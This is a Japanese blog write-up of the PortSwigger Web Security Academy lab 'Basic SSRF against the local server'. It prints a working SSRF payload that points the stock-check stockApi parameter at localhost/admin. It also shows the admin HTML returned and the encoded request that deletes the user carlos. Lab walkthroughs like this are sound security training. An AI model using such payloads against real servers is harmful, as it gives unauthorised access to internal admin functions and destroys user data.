ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Web Security Academy「Basic SSRF against the local server」解いてみた

はじめに

PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。

portswigger.net

Writeup

事前情報

  • 在庫確認機能は、内部システムにデータをフェッチする

Walkthrough

商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

リクエストをRepeaterに送って、http://localhost/admin にしてみると、管理画面のHTMLが閲覧できる。

<section>
    <h1>Users</h1>
    <div>
        <span>carlos - </span>
        <a href="/admin/delete?username=carlos">Delete</a>
    </div>
    <div>
        <span>wiener - </span>
        <a href="/admin/delete?username=wiener">Delete</a>
    </div>
</section>

http://loaclhost/admin/delete?username=carlos にリクエストを送ったらcarlosを消せる。

stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。